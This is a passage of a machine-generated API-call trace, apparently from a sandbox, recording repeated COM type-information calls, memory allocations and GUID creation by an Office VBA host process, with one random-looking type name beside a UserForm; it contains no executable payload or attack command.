pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.229] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.229] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x48, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.229] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.229] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x49, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.229] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.229] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x4a, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.229] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.229] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x4b, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.229] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.229] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x4c, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.229] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.229] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x4d, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.229] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.229] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x4e, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.229] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.229] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x4f, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.230] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.230] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x50, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.230] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.230] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x51, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.230] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.230] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x52, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.230] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.230] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x53, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.230] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.230] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x54, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.230] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.230] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x55, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.230] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.230] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x56, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.230] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.230] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x57, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.230] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.230] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x58, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.230] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.230] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x59, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.230] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.230] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x5a, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.230] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.230] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x5b, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.230] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.230] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x5c, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.230] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.231] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x5d, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.231] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.231] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x5e, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.231] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.231] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x5f, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.231] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.231] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x60, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.231] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.231] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x61, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.231] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.231] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x62, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.231] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.231] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x63, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.231] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.231] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x64, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.231] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.231] ITypeInfo:RemoteGetDocumentation (in: This=0x2763c01e338, memid=2005, refPtrFlags=0x690f43e8, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x400 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x400) returned 0x0 [0120.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GHJHGFGHKFTKDFTYFTFYDDYDFLRYTYDDYDFYKLDKTY", cchWideChar=43, lpMultiByteStr=0xb5690f42a0, cbMultiByte=86, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GHJHGFGHKFTKDFTYFTFYDDYDFLRYTYDDYDFYKLDKTY", lpUsedDefaultChar=0x0) returned 43 [0120.231] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="GHJHGFGHKFTKDFTYFTFYDDYDFLRYTYDDYDFYKLDKTY") returned 0x40d07d [0120.231] ITypeInfo:GetRefTypeInfo (in: This=0x2763c01e338, hreftype=0x5000025, ppTInfo=0xb5690f43c0 | out: ppTInfo=0xb5690f43c0*=0x2764b8e9658) returned 0x0 [0120.231] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b8e9658, ppTypeAttr=0xb5690f4320, pDummy=0x242 | out: ppTypeAttr=0xb5690f4320, pDummy=0x242) returned 0x0 [0120.231] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b8e9658) returned 0x0 [0120.231] ITypeInfo:GetImplTypeFlags (in: This=0x2764b8e9658, index=0x0, pImplTypeFlags=0xb5690f4308 | out: pImplTypeFlags=0xb5690f4308*=1) returned 0x0 [0120.231] ITypeInfo:GetRefTypeOfImplType (in: This=0x2764b8e9658, index=0x0, pRefType=0xb5690f4310 | out: pRefType=0xb5690f4310*=0x2080) returned 0x0 [0120.231] ITypeInfo:GetRefTypeInfo (in: This=0x2764b8e9658, hreftype=0x2080, ppTInfo=0xb5690f4318 | out: ppTInfo=0xb5690f4318*=0x2764b8e96b0) returned 0x0 [0120.231] IUnknown:Release (This=0x2764b8e96b0) returned 0x0 [0120.232] ITypeInfo:GetImplTypeFlags (in: This=0x2764b8e9658, index=0x1, pImplTypeFlags=0xb5690f4308 | out: pImplTypeFlags=0xb5690f4308*=3) returned 0x0 [0120.232] ITypeInfo:GetRefTypeOfImplType (in: This=0x2764b8e9658, index=0x1, pRefType=0xb5690f4310 | out: pRefType=0xb5690f4310*=0x2800) returned 0x0 [0120.232] ITypeInfo:GetRefTypeInfo (in: This=0x2764b8e9658, hreftype=0x2800, ppTInfo=0xb5690f4318 | out: ppTInfo=0xb5690f4318*=0x2764b8e9810) returned 0x0 [0120.232] IUnknown:QueryInterface (in: This=0x2764b8e9810, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4240 | out: ppvObject=0xb5690f4240*=0x0) returned 0x80004002 [0120.232] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b8e9810, ppTypeAttr=0xb5690f4268, pDummy=0xb5690f4240 | out: ppTypeAttr=0xb5690f4268, pDummy=0xb5690f4240*=0x0) returned 0x0 [0120.232] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b8e9810) returned 0x0 [0120.232] IUnknown:Release (This=0x2764b8e9810) returned 0x1 [0120.232] IUnknown:Release (This=0x2764b8e9658) returned 0x1 [0120.232] IUnknown:QueryInterface (in: This=0x2763c01f2f8, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f43c8 | out: ppvObject=0xb5690f43c8*=0x2763c01f2f8) returned 0x0 [0120.232] ITypeInfo2:GetCustData (in: This=0x2763c01f2f8, GUID=0x7ff9be1d5de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xb5690f43d8 | out: pVarVal=0xb5690f43d8*(varType=0x0, wReserved1=0x0, wReserved2=0x64, wReserved3=0x0, varVal1=0x24200000000, varVal2=0x2764ba4d208)) returned 0x0 [0120.232] IUnknown:Release (This=0x2763c01f2f8) returned 0x3 [0120.232] ITypeInfo:RemoteGetDocumentation (in: This=0x2763c01f2f8, memid=-1, refPtrFlags=0x690f43d0, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5000025 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5000025) returned 0x0 [0120.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="UserForm", cchWideChar=9, lpMultiByteStr=0xb5690f42e0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UserForm", lpUsedDefaultChar=0x0) returned 9 [0120.232] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="UserForm") returned 0x40044e [0120.232] IUnknown:QueryInterface (in: This=0x2763bec4828, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4380 | out: ppvObject=0xb5690f4380*=0x0) returned 0x80004002 [0120.232] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763bec4828, ppTypeAttr=0xb5690f43a8, pDummy=0xb5690f4380 | out: ppTypeAttr=0xb5690f43a8, pDummy=0xb5690f4380*=0x0) returned 0x0 [0120.232] ITypeInfo:LocalReleaseTypeAttr (This=0x2763bec4828) returned 0x0 [0120.232] IUnknown:Release (This=0x2763c01e338) returned 0x3 [0120.232] IUnknown:Release (This=0x2763bec4828) returned 0x2 [0120.232] IUnknown:Release (This=0x2763c01f2f8) returned 0x2 [0120.232] IUnknown:AddRef (This=0x2764b8e9810) returned 0x2 [0120.232] IUnknown:Release (This=0x2764b8e9810) returned 0x1 [0120.232] IUnknown:AddRef (This=0x2763bec4828) returned 0x3 [0120.232] IUnknown:Release (This=0x2763bec4828) returned 0x2 [0120.232] IUnknown:Release (This=0x2763c01e338) returned 0x3 [0120.232] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763c01f2f8, ppTypeAttr=0xb5690f46a8, pDummy=0x2764b40f6e0 | out: ppTypeAttr=0xb5690f46a8, pDummy=0x2764b40f6e0*=0x7) returned 0x0 [0120.233] ITypeInfo:LocalReleaseTypeAttr (This=0x2763c01f2f8) returned 0x0 [0120.233] IUnknown:Release (This=0x2763c01f2f8) returned 0x2 [0120.233] CoCreateGuid (in: pguid=0xb5690f4860 | out: pguid=0xb5690f4860*(Data1=0xd714746b, Data2=0xf3ec, Data3=0x4a1b, Data4=([0]=0xbf, [1]=0x93, [2]=0x94, [3]=0x27, [4]=0x37, [5]=0xfd, [6]=0x9b, [7]=0x8d))) returned 0x0 [0120.233] CoCreateGuid (in: pguid=0xb5690f4860 | out: pguid=0xb5690f4860*(Data1=0x1ac7f0ec, Data2=0x5e83, Data3=0x456e, Data4=([0]=0xbe, [1]=0xd2, [2]=0x75, [3]=0xaf, [4]=0x7f, [5]=0xa6, [6]=0xfe, [7]=0xcf))) returned 0x0 [0120.233] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x14) returned 0x2764b9de0c0 [0120.233] IUnknown:Release (This=0x2763c01e338) returned 0x3 [0120.233] IUnknown:QueryInterface (in: This=0x2763c01e338, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4998 | out: ppvObject=0xb5690f4998*=0x0) returned 0x80004002 [0120.233] IUnknown:Release (This=0x2763bec4828) returned 0x2 [0120.233] IUnknown:QueryInterface (in: This=0x2763bec4828, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4998 | out: ppvObject=0xb5690f4998*=0x0) returned 0x80004002 [0120.233] IUnknown:Release (This=0x2763c01f2f8) returned 0x2 [0120.233] IUnknown:QueryInterface (in: This=0x2763c01f2f8, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4998 | out: ppvObject=0xb5690f4998*=0x0) returned 0x80004002 [0120.233] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa3c90 [0120.233] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b72f380 [0120.233] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b72e300 [0120.233] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764ba54e90 [0120.233] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764ba559d0 [0120.233] IUnknown:QueryInterface (in: This=0x2763c01e338, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4998 | out: ppvObject=0xb5690f4998*=0x0) returned 0x80004002 [0120.233] IUnknown:QueryInterface (in: This=0x2763bec4828, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4998 | out: ppvObject=0xb5690f4998*=0x0) returned 0x80004002 [0120.233] IUnknown:QueryInterface (in: This=0x2763c01f2f8, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4998 | out: ppvObject=0xb5690f4998*=0x0) returned 0x80004002 [0120.233] IUnknown:QueryInterface (in: This=0x2763c01e338, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3b10 | out: ppvObject=0xb5690f3b10*=0x0) returned 0x80004002 [0120.233] IUnknown:AddRef (This=0x2763c01e338) returned 0x5 [0120.233] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763c01e338, ppTypeAttr=0xb5690f3b28, pDummy=0xb5690f3b10 | out: ppTypeAttr=0xb5690f3b28, pDummy=0xb5690f3b10*=0x0) returned 0x0 [0120.233] ITypeInfo:LocalReleaseTypeAttr (This=0x2763c01e338) returned 0x0 [0120.234] IUnknown:Release (This=0x2763c01e338) returned 0x4 [0120.234] IUnknown:Release (This=0x2763c01e338) returned 0x3 [0120.234] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x160) returned 0x2764afd3210 [0120.234] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x350) returned 0x2764b8b7990 [0120.234] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763bec4828, ppTypeAttr=0xb5690f3b08, pDummy=0xb5690f3b44 | out: ppTypeAttr=0xb5690f3b08, pDummy=0xb5690f3b44*=0xffffffff) returned 0x0 [0120.234] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x0, ppFuncDesc=0xb5690f3b00, pDummy=0x27644fa5cb0 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x27644fa5cb0*=0xe7edf3f0) returned 0x0 [0120.234] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.234] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x1, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.234] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.234] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x2, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.234] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.234] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x3, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.234] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.234] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x4, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.234] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.234] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x5, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.234] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.234] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x6, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.234] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.234] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x7, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.234] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.234] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x8, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.234] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.234] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x9, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.234] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.234] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0xa, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0xb, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0xc, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0xd, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0xe, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0xf, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x10, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:LocalReleaseTypeAttr (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763bec4828, ppTypeAttr=0xb5690f3b08, pDummy=0xb5690f3b44 | out: ppTypeAttr=0xb5690f3b08, pDummy=0xb5690f3b44*=0xffffffff) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x0, ppFuncDesc=0xb5690f3b00, pDummy=0x27644fa5cb0 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x27644fa5cb0*=0xe7edf3f0) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x1, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x2, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x3, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x4, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x5, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x6, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] ITypeInfo:LocalReleaseFuncDesc (This=0x2763bec4828) returned 0x0 [0120.235] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763bec4828, index=0x7, ppFuncDesc=0xb5690f3b00, pDummy=0x6 | out: ppFuncDesc=0xb5690f3b00, pDummy=0x6) returned 0x0 [0120.235] 